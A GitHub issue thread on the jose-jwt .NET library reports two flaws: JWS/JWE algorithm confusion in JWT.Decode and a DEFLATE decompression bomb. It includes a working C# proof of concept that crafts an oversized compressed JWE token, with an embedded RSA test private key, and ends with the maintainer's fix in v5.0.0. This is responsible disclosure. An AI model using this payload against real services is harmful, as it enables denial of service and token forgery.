Further exploitation about sign/encrypt attack

[P3ngu1nW]

Summary

Jose.JWT.Decode will automatically detect whether the user inputs JWS or JWE. This means that if the attacker obtains the public key of JWS, he can forge a JWE Token to pass the verification.

What's more, the attacker can use the "zip" claim to construct a DEFLATE Decompression bomb to crash or DOS a system.

Similar CVE: GHSA-8g9c-28fc-mcx2

POC

using Jose;

class Program
{
    static void Main()
    {
        Jwk Key = new Jwk(
            e: "AQAB",
            n: "qFZv0pea_jn5Mo4qEUmStuhlulso8n1inXbEotd_zTrQp9K0RK0hf7t0K4BjKVhaiqIam4tVVQvkmYeBeYr1MmnO_0N97dMBz_7fmvyv0hgHaBdQ5mR5u3LTlHo8tjRE7-GzZmGs6jMcyj7HbXobDPQJZpqNy6JjliDVXxW8nWJDetxGBlqmTj1E1fr2RCsZLreDOPSDIedG1upz9RraShsIDzeefOcKibcAaKeeVI3rkAU8_mOauLSXv37hlk0h6sStJb3qZQXyOUkVkjXIkhvNu_ve0v7LiLT4G_OxYGzpOQcCnimKdojzNP6GtVDaMPh-QkSJE32UCos9R3wI2Q",
            p: "0qaOkT174vRG3E_67gU3lgOgoT6L3pVHuu7wfrIEoxycPa5_mZVG54SgvQUofGUYEGjR0lavUAjClw9tOzcODHX8RAxkuDntAFntBxgRM-IzAy8QzeRl_cbhgVjBTAhBcxg-3VySv5GdxFyrQaIo8Oy_PPI1L4EFKZHmicBd3ts",
            q: "zJPqCDKqaJH9TAGfzt6b4aNt9fpirEcdpAF1bCedFfQmUZM0LG3rMtOAIhjEXgADt5GB8ZNK3BQl8BJyMmKs57oKmbVcODERCtPqjECXXsxH-az9nzxatPvcb7imFW8OlWslwr4IIRKdEjzEYs4syQJz7k2ktqOpYI5_UfYnw1s",
            d: "lJhwb0pKlB2ivyDFO6thajotClrMA3nxIiSkIUbvVr-TToFtha36gyF6w6e6YNXQXs4HhMRy1_b-nRQDk8G4_f5urd_q-pOn5u4KfmqN3Xw-lYD3ddi9qF0NLeTVUNVFASeP0FFqbPYfdNwD-LyvwjhtT_ggMOAw3mYvU5cBfz6-3uPdhl3CwQFCTgwOud_BA9p2MPMUHG82wMK_sNO1I0TYpjm7TnwNBwiKbMf-i5CKnuohgoYrEDYLeMg3f32eBljlCFNYaoCtT-mr1Ze0OTJND04vbfLotV-BBKulIpbOOSeVpKG7gJxZHmv7in7PE5_WzaxKFVoHW3wR6v_GzQ",
            dp: "KTWmTGmf092AA1euOmRQ5IsfIIxQ5qGDn-FgsRh4acSOGE8L7WrTrTU4EOJyciuA0qz-50xIDbs4_j5pWx1BJVTrnhBin9vNLrVo9mtR6jmFS0ko226kOUpwEVLgtdQjobWLjtiuaMW-_Iw4gKWNptxZ6T1lBD8UWHaPiEFW2-M",
            dq: "Jn0lqMkvemENEMG1eUw0c601wPOMoPD4SKTlnKWPTlQS6YISbNF5UKSuFLwoJa9HA8BifDrD-Mfpo1M1HPmnoilEWUrfwMqqdCkOlbiJQhKY8AZ16QGH50kDXhmVVa8BRWdVQWBTUzWXS5kXMaeskVzextTgymPcOAhXN-ph7MU",
            qi: "sRAPigJpl8S_vsf1zhJTrHM97xRwuB26R6Tm-J8sKRPb7p5xxNlmOBBFvWmWxdto8dBElNlydSZan373yBLxzW-bZgVp-B2RKT1B3WhTYW_Vo5DLhWi84XMncJxH7avtxtF9yksaeKe0e2n3J6TTan53mDg4KF8U0OEO2ciqO9g"
        );

        Jwk PubKey = new Jwk(
            e: "AQAB",
            n: "qFZv0pea_jn5Mo4qEUmStuhlulso8n1inXbEotd_zTrQp9K0RK0hf7t0K4BjKVhaiqIam4tVVQvkmYeBeYr1MmnO_0N97dMBz_7fmvyv0hgHaBdQ5mR5u3LTlHo8tjRE7-GzZmGs6jMcyj7HbXobDPQJZpqNy6JjliDVXxW8nWJDetxGBlqmTj1E1fr2RCsZLreDOPSDIedG1upz9RraShsIDzeefOcKibcAaKeeVI3rkAU8_mOauLSXv37hlk0h6sStJb3qZQXyOUkVkjXIkhvNu_ve0v7LiLT4G_OxYGzpOQcCnimKdojzNP6GtVDaMPh-QkSJE32UCos9R3wI2Q"
        );
        string strU = new string('U', 400000000);
        string strUU = new string('U', 100000000);
        string payload = $@"{{""U"":""{strU}"", ""UU"":""{strUU}""}}";
        string eviltoken = Jose.JWT.Encode(payload, PubKey, JweAlgorithm.RSA_OAEP, JweEncryption.A256GCM, JweCompression.DEF);
        string s = Jose.JWT.Decode(eviltoken, Key, JwsAlgorithm.RS256);
        Console.WriteLine(s);
    }
}

How to Fix

set a maximum token size for expansion.

[dvsekhvalnov]

Hi @P3ngu1nW ,

i neither quite sure what fix you are looking for nor what 'set a maximum token size for expansion' means.

You can deregister compression via: https://github.com/dvsekhvalnov/jose-jwt?tab=readme-ov-file#deregister-algorithm-implementations or https://github.com/dvsekhvalnov/jose-jwt?tab=readme-ov-file#strict-validation

If you want to put max cap on incoming token length - it's beyond library responsibility and honestly quite easy to do before calling library.

[dvsekhvalnov]

Can probably limit memory decompression buffer size by default to some reasonable value. And make it configurable.
What can be good default?

[P3ngu1nW]

Maybe we can learn from Azure’s approach and set an upper limit of 250K.

https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/wiki/zipcve

[dvsekhvalnov]

yeah, i think doable. let's mark for next release.

[dvsekhvalnov]

@P3ngu1nW i've put fix for decompression thing: #238 will be part of v5 release.

Also, i guess figured out what did mean by unit test:

string s = Jose.JWT.Decode(eviltoken, Key, JwsAlgorithm.RS256);

that line doesn't really protects you, right? I think there is a bug in strict validation, it doesn't apply signing check to encrypted tokens and vice versa. Will fix it too.

[dvsekhvalnov]

v5.0.0 released to nuget.org

https://github.com/dvsekhvalnov/jose-jwt/releases/tag/v5.0.0